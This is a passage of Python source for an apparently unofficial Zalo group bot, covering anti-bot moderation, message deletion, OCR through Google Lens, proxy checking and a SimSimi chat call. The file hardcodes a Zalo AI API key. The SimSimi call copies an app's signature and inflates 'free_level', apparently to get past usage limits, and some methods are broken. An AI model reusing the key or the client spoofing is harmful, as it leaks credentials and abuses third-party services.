			sunghiepchuong = message_object.content.get('params')
			if message_object.content.description and 'phone' in json.loads(message_object.content.description):
				phone = json.loads(message_object.content.description)['phone'].replace("+", "")
			else:
				phone = ""

			data = self.qrCode(userId=sunghiepchuong)
			data_key = data.get('data')
			url = list(data_key.values())[0]
			giotnuocmatcuontrenkhuongnhat = self._session.get(chichemtoichet).content
			dungdichvesinhvoibvslacuaaianhnoidi = self._session.get(url).content
			if giotnuocmatcuontrenkhuongnhat != dungdichvesinhvoibvslacuaaianhnoidi:
				result.append(message_object)
				
			elif phone and not phone.isdigit() and phone != "":
				result.append(message_object)

		if int(message_object.ttl) != 0:
			result.append(message_object)
			
		elif "params" in message_object.content:
			data = json.loads(message_object.content.params).get("styles")
			if data and data != None:
				for i in data:
					st = i.get("st")
					if "," in st:
						clm = st.split(",")
						for i in clm:
							if "_" in clm:
								if clm not in ["f_13", "s", "i", "u", "f_18", "f_20", "c_15a85f", "c_f7b503", "c_db342e", "c_f27806"]:
									result.append(message_object)
					elif st not in ["f_13", "f_18", "f_20", "c_15a85f", "c_f7b503", "c_db342e", "c_f27806"]:
						result.append(message_object)
		elif "mentions" in message_object:
			if len(message_object.mentions) == len(cleaned_list):
				result.append(message_object)
				
			elif author_id in str(message_object.mentions):
				result.append(message_object)

		elif message_object.msgType == "chat.reaction":
			if message_object['content']['rIcon'] not in self.reactionIconAllow:
				result.append(message_object)
			elif message_object['content']['rType'] not in self.rTypeAllow:
				result.append(message_object)
			elif len(message_object['content']['rMsg']) != 1:
				result.append(message_object)
		elif message_object.msgType == 'chat.photo': 
			if type != "Zalo App":
				if not message_object.previewThumb:
					if not message_object.reference:
						result.append(message_object)
		elif message_object.msgType == 'chat.voice': 
			if type != "Zalo App":
				if not message_object.reference:
					result.append(message_object)
		elif message_object.msgType == 'chat.video.msg': 
			if type != "Zalo App":
				if not message_object.reference:
					result.append(message_object)
		return result
		
	def bypassAntiUndo(self, mid, author_id, message, message_object, thread_id, thread_type):
		# if (author_id in self.db.fetch_whitelist(thread_id)) or (author_id in self.selfid):
			# return

		if int(message_object.cliMsgId) - 5000 > int(time.time() * 1000):
			cl = self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=ThreadType.GROUP)
			if cl.error_code == 112:
				cc = self.deleteGroupMsgBypassAntiUndo(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId=thread_id)
				if cc.error_code != 112:
					style = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
					self.replyMessage(Message(text="@member Anti Delete Message Detection, Please Check Your Time!", style=style, mention=Mention(author_id, length=7, offset=0)), message_object, thread_id, thread_type, ttl=10000)
		
	def antiBotv2(self, mid, author_id, message, message_object, thread_id, thread_type):
		if (author_id in self.db.fetch_whitelist(thread_id)) or (author_id in self.selfid):
			return

		if message_object.msgType != "chat.reaction":
			if int(message_object.at) == 0 and "platformType" in message_object.paramsExt and int(message_object.paramsExt.platformType) == 0:
				type = "Zalo App"
			elif int(message_object.at) == 5 and "platformType" in message_object.paramsExt and int(message_object.paramsExt.platformType) == 1:
				type = "Zalo Web"
			elif int(message_object.at) == 5 and "platformType" in message_object.paramsExt and int(message_object.paramsExt.platformType) == 2:
				type = "Zalo Pc"
			elif "platformType" in message_object.paramsExt and int(message_object.paramsExt.platformType) == 3:
				type = "Zalo System"
			elif "platformType" in message_object.paramsExt and int(message_object.paramsExt.platformType) == 6:
				type = "Unknown"
			else:
				type = "Null"
		else:
			type = "Null"
		
		def deleteTinNhan():
			ditmemay = self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
			# print(ditmemay)
			if ditmemay.error_code == 112:
				cc = self.deleteGroupMsgBypassAntiUndo(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId=thread_id)
				if cc.error_code == 0:
					return True
				else:
					return False
			else:
				return True
				
		data = self.check_bot(mid, author_id, message, message_object, thread_id, thread_type)
		if data != []:
			deleteTinNhan()
			print(len(data))
			
	def anti_bot(self, mid, author_id, message, message_object, thread_id, thread_type):
		if (author_id in self.db.fetch_whitelist(thread_id)) or (author_id in self.selfid):
			return

		if message_object.msgType != "chat.reaction":
			if int(message_object.at) == 0 and "platformType" in message_object.paramsExt and int(message_object.paramsExt.platformType) == 0:
				type = "Zalo App"
			elif int(message_object.at) == 5 and "platformType" in message_object.paramsExt and int(message_object.paramsExt.platformType) == 1:
				type = "Zalo Web"
			elif int(message_object.at) == 5 and "platformType" in message_object.paramsExt and int(message_object.paramsExt.platformType) == 2:
				type = "Zalo Pc"
			elif "platformType" in message_object.paramsExt and int(message_object.paramsExt.platformType) == 3:
				type = "Zalo System"
			elif "platformType" in message_object.paramsExt and int(message_object.paramsExt.platformType) == 6:
				type = "Unknown"
			else:
				type = "Null"
		else:
			type = "Null"


		# print(message_object)
		# print(int(message_object.cliMsgId) - 1000 < message_object.quote['cliMsgId'] and message_object.quote['globalMsgId'] != 0)
		# print(int(message_object.cliMsgId) + 1000)
			# self.replyMessage(Message(text=response_text, style=style), message_object, thread_id, thread_type,ttl=30000)
		# apnwifnjnc = self.deleteGroupMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId="3788914511557811693")
		# print(apnwifnjnc)
		# if apnwifnjnc.error_code == 112:
			# self.deleteGroupMsgBypassAntiUndo(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId=thread_id)

		group = self.fetchGroupInfo(thread_id)
		group_info = group.gridInfoMap[thread_id]
		mem_ver_list = group_info['memVerList']
		cleaned_list = [item.replace('_0', '') for item in mem_ver_list]
		# if author_id not in cleaned_list:
			# if isinstance(message, dict) and message.action == "msginfo.actionlist":
				# return
			# style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			# while True:
			# self.handleGroupPending(members=author_id, groupId=thread_id, isApprove=True)
			# suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
			# if suc.get('error_code') == 0:
				# self.send(Message(text=f"• Cuộc tấn công bot vào group '{thread_id}' đã dừng lại vào lúc {datetime.datetime.fromtimestamp(int(time.time())).strftime('%H:%M %d/%m/%Y')}", style=style_error), thread_id, thread_type=thread_type)
				# # ccldid = self.fetchGroupInfo(thread_id)
				# # group_info = ccldid['gridInfoMap'][thread_id]
				# groupName = group_info['name']
				# self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
				# break
				# return
		if message_object.quote and int(message_object.at) != 0:
			#quote={'ownerId': 7711754660468580715, 'cliMsgId': 1733708467641, 'globalMsgId': 6111491685398, 'cliMsgType': 1, 'ts': 1733708467701, 'msg': '..?',
			if int(time.time() * 1000) - 1000 < message_object.quote['cliMsgId'] and message_object.quote['globalMsgId'] != 0:
				# print(message_object.cliMsgId)
				# print(int(message_object.cliMsgId))
				# print(int(message_object.cliMsgId) - 1000)
				# print(message_object.quote['cliMsgId'])
				suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				# self.addUsersToGroupV1(user_ids=author_id, groupId=thread_id)
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				# ccldid = self.fetchGroupInfo(thread_id)
				# group_info = ccldid['gridInfoMap'][thread_id]
				groupName = group_info['name']
				if suc.get('error_code') == 0:
					self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: reply message", style=style_error), thread_id, thread_type=thread_type)
					self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
					return
			# elif thread_id == "6650146792085854500" and author_id != self.uid and int(message_object.at) == 5:
			# suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
			# self.addUsersToGroupV1(user_ids=author_id, groupId=thread_id)
			# style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			# if suc.get('error_code') == 0:
				# self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot", style=style_error), thread_id, thread_type=thread_type)

		if message_object.msgType == 'chat.recommended' and isinstance(message_object.content, dict) and 'action' in message_object.content and message_object.content.action == "recommened.user":
			if message_object.content.description and 'qrCodeUrl' in json.loads(message_object.content.description):
				chichemtoichet = json.loads(message_object.content.description)['qrCodeUrl']
			else:
				chichemtoichet = ""
			if chichemtoichet == "":
				suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				groupName = group_info['name']
				if suc.get('error_code') == 0:
					self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
					self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
					return
			sunghiepchuong = message_object.content.get('params')
			if message_object.content.description and 'phone' in json.loads(message_object.content.description):
				phone = json.loads(message_object.content.description)['phone'].replace("+", "")
			else:
				phone = ""

			data = self.qrCode(userId=sunghiepchuong)
			data_key = data.get('data')
			url = list(data_key.values())[0]
			giotnuocmatcuontrenkhuongnhat = self._session.get(chichemtoichet).content
			dungdichvesinhvoibvslacuaaianhnoidi = self._session.get(url).content
			if giotnuocmatcuontrenkhuongnhat != dungdichvesinhvoibvslacuaaianhnoidi:
				suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				groupName = group_info['name']
				if suc.get('error_code') == 0:
					self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
					self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
					return
			elif phone and not phone.isdigit() and phone != "":
				suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				groupName = group_info['name']
				if suc.get('error_code') == 0:
					self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
					self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
					return

		if int(message_object.ttl) != 0:
			suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
			# self.addUsersToGroupV1(user_ids=author_id, groupId=thread_id)
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			# ccldid = self.fetchGroupInfo(thread_id)
			# group_info = ccldid['gridInfoMap'][thread_id]
			groupName = group_info['name']
			if suc.get('error_code') == 0:
				self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
				self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
				return
		elif "params" in message_object.content:
			data = json.loads(message_object.content.params).get("styles")
			if data and data != None:
				for i in data:
					st = i.get("st")
					if "," in st:
						clm = st.split(",")
						for i in clm:
							if "_" in clm:
								if clm not in ["f_13", "s", "i", "u", "f_18", "f_20", "c_15a85f", "c_f7b503", "c_db342e", "c_f27806"]:
									suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
									style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
									# ccldid = self.fetchGroupInfo(thread_id)
									# group_info = ccldid['gridInfoMap'][thread_id]
									groupName = group_info['name']
									if suc.get('error_code') == 0:
										self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
										self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
										return
					elif st not in ["f_13", "f_18", "f_20", "c_15a85f", "c_f7b503", "c_db342e", "c_f27806"]:
						suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
						style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
						# ccldid = self.fetchGroupInfo(thread_id)
						# group_info = ccldid['gridInfoMap'][thread_id]
						groupName = group_info['name']
						if suc.get('error_code') == 0:
							self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
							self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
							return
		elif "mentions" in message_object:
			if len(message_object.mentions) == len(cleaned_list):
				suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				# self.addUsersToGroupV1(user_ids=author_id, groupId=thread_id)
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				# ccldid = self.fetchGroupInfo(thread_id)
				# group_info = ccldid['gridInfoMap'][thread_id]
				groupName = group_info['name']
				if suc.get('error_code') == 0:
					self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Đã Tag Quá Nhiều Thành Viên\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
					self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
					ditmemay = self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
					if ditmemay.error_code == 112:
						self.deleteGroupMsgBypassAntiUndo(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId=thread_id)
					return
				# else:
				# cc = self.replyMessage(Message(text="@gay Tag Ít Thôi", mention=Mention(author_id, length=4, offset=0)), message_object, thread_id, thread_type, ttl=4000).msgId
				# ditmemay = self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
				# if ditmemay.error_code == 112:
					# vailon = self.deleteGroupMsgBypassAntiUndo(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId=thread_id)
					# if vailon.error_code == 112:
					# self.deleteMsg(msgId=cc, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
				# return
			elif author_id in str(message_object.mentions):
				# print("check done")
				suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				groupName = group_info['name']
				if suc.get('error_code') == 0:
					self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: Mention Message", style=style_error), thread_id, thread_type=thread_type)
					self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
					return

		elif message_object.msgType == "chat.reaction":
			if message_object['content']['rIcon'] not in self.reactionIconAllow:
				suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				# ccldid = self.fetchGroupInfo(thread_id)
				# group_info = ccldid['gridInfoMap'][thread_id]
				info = self.fetchUserInfo(author_id)
				info = info.unchanged_profiles or info.changed_profiles
				info = info[str(author_id)]
				userName = info.zaloName

				groupName = group_info['name']
				if suc.get('error_code') == 0:
					self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {userName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
					self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
					return
			elif message_object['content']['rType'] not in self.rTypeAllow:
				suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				# ccldid = self.fetchGroupInfo(thread_id)
				# group_info = ccldid['gridInfoMap'][thread_id]
				groupName = group_info['name']
				info = self.fetchUserInfo(author_id)
				info = info.unchanged_profiles or info.changed_profiles
				info = info[str(author_id)]
				userName = info.zaloName

				if suc.get('error_code') == 0:
					self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {userName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
					self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
					return
			elif len(message_object['content']['rMsg']) != 1:
				suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				# ccldid = self.fetchGroupInfo(thread_id)
				# group_info = ccldid['gridInfoMap'][thread_id]
				groupName = group_info['name']
				info = self.fetchUserInfo(author_id)
				info = info.unchanged_profiles or info.changed_profiles
				info = info[str(author_id)]
				userName = info.zaloName

				if suc.get('error_code') == 0:
					self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {userName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
					self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
					return
		elif message_object.msgType == 'chat.photo': 
			if type != "Zalo App":
				if not message_object.previewThumb:
					if not message_object.reference:
						suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
						style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
						groupName = group_info['name']
						if suc.get('error_code') == 0:
							self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
							self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
							return
		elif message_object.msgType == 'chat.voice': 
			if type != "Zalo App":
				if not message_object.reference:
					suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
					style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
					groupName = group_info['name']
					if suc.get('error_code') == 0:
						self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
						self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
						return
		elif message_object.msgType == 'chat.video.msg': 
			if type != "Zalo App":
				if not message_object.reference:
					suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
					style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
					groupName = group_info['name']
					if suc.get('error_code') == 0:
						self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot\n• User Name: {message_object.dName}\n• From Client: {type}\n• Type: {message_object.msgType}", style=style_error), thread_id, thread_type=thread_type)
						self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Using Bots\n• If You Think This Is A Bug You Can Contact To Tahn\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
						return




	def split_message(self, message):
		max_length = 250
		if ". " in message:
			sentences = str(message).split(". ")
		else:
			sentences = [message]

		split_messages = []
		result_messages = []
		current_message = ""

		for sentence in sentences:
			if len(current_message) + len(sentence) + 1 <= max_length:  # +1 cho dấu chấm hoặc dấu cách
				if current_message:
					current_message += ". " + sentence
				else:
					current_message = sentence
			else:
				split_messages.append(current_message.strip())
				current_message = sentence

		if current_message:
			split_messages.append(current_message.strip())

		split_messages = [msg for msg in split_messages if msg]
		if len(split_messages) == 1 and len(message) > max_length:
			split_messages = [message[i:i+max_length] for i in range(0, len(message), max_length)]

		for msg in split_messages:
			if not msg:
				continue
			result_messages.append(msg)

		print(result_messages)
		return result_messages




	def imageChecked(self, image_data):
		files = {
			"img_bytes": image_data
		}
		headers = {
			"apikey": "WmUXM4OK3H8i2hTA3nZuji3BLLee2HUm"
		}
		url = "https://api.zalo.ai/v1/dirtycontent/filter"
		response = self._session.post(url, headers=headers, files=files)
		# print(response.text)
		# print(response.json())
		return response.json()

	def imageToText(self, image_data: str) -> None:
		boundary = "----WebKitFormBoundary"
		timestamp = round(time.time() * 1000)

		post_data = f"--{boundary}\r\n"
		post_data += 'Content-Disposition: form-data; name="encoded_image"; filename="download.png"\r\n'
		post_data += 'Content-Type: image/png\r\n\r\n'
		post_data = post_data.encode('utf-8') + image_data.read() + f"\r\n--{boundary}--\r\n".encode('utf-8')

		headers = {
			"Content-Type": f"multipart/form-data; boundary={boundary}",
			"Content-Length": str(len(post_data)),
			"Referer": "https://lens.google.com/",
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
		}

		params = {
			"hl": "en-VN",
			"re": "df",
			"stcs": str(timestamp),
			"ep": "subb"
		}

		response = self._session.post("https://lens.google.com/v3/upload", headers=headers, params=params, data=post_data)
		all_text = re.findall(r'"\,\[\[\[(.*?)\]\]\,"', response.text)
		if all_text:
			all_text = json.loads("[" + all_text[0] + "]")

		if not all_text:
			results = dict(success=False, data="Khôn thể nhận dạng được hình ảnh.")
		else:
			new_text = " ".join(all_text)
			results = dict(success=True, data=new_text)

		return results

	def now():
		return int(time.time())

	def run_continuously():
		with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
			while True:
				future = executor.submit(main)
				time.sleep(0.00001)

	def check_proxies(self, proxy_list: str, output_file: str = "proxy_live.txt", test_url: str = "http://httpbin.org/ip"):
		"""
       Kiểm tra danh sách proxy và lưu proxy hợp lệ vào file.
       
       Args:
           proxy_list (str): Danh sách proxy dạng "ip:port" cách nhau bằng "\n".
           output_file (str): Tên file lưu proxy hợp lệ.
           test_url (str): URL dùng để kiểm tra proxy (mặc định là http://httpbin.org/ip).
           timeout (int): Thời gian timeout cho mỗi proxy (tính bằng giây).
       """
		proxies = proxy_list.split("\n")
		working_proxies = []

		for proxy in proxies:
			proxy = proxy.strip()
			if not proxy:
				continue
			proxy_dict = {"http": f"http://{proxy}", "https": f"http://{proxy}"}
			try:
				response = self._session.get(test_url, proxies=proxy_dict, timeout=5)
				if response.status_code == 200:
					working_proxies.append(proxy)
					print(proxy)
				else:
					pass
			except Exception as e:
				pass

		with open(output_file, "w") as f:
			f.write("\n".join(working_proxies))

		return True

	def simsimiChat(self, mid, author_id, message, message_object, thread_id, thread_type):
		if message_object.mentions and message_object.mentions[0]['uid'] == self.uid and message_object.quote: #and author_id == "gay":
			# self.setTyping(thread_id, thread_type)
			ask = message.replace(f"@{self.myName}", "").strip()
			headers = {
				"accept": "application/json, text/plain, */*",
				"os": "a",
				"av": "9.0.3",
				"x-signature": "ea01c2196c1efef7e5c3b19533078bf26a0411aa65e35a2b8179762e7b01959b",
				"content-type": "application/json",
				"accept-encoding": "gzip",
				"user-agent": "okhttp/4.10.0"
			}
			payload = {
				"uid": 506626235,
				"av": "9.0.3",
				"os": "a",
				"lc": "vn",
				"cc": "VN",
				"tz": "Asia/Ho_Chi_Minh",
				"cv": "",
				"message": ask,
				"free_level": 2147483647,
				"logUID": "506626235",
				"reg_now_days": 2147483647
			}
			response = self._session.post("https://kube-appserver.simsimi.com:30443/simtalk/get_talk_set", headers=headers, json=payload, verify=True)
			if "sentence" not in response.json():
				messagess = "mày bảo gì?"
			else:
				data = response.json()['sentence']
				messagess = data[0].lower() + data[1:]
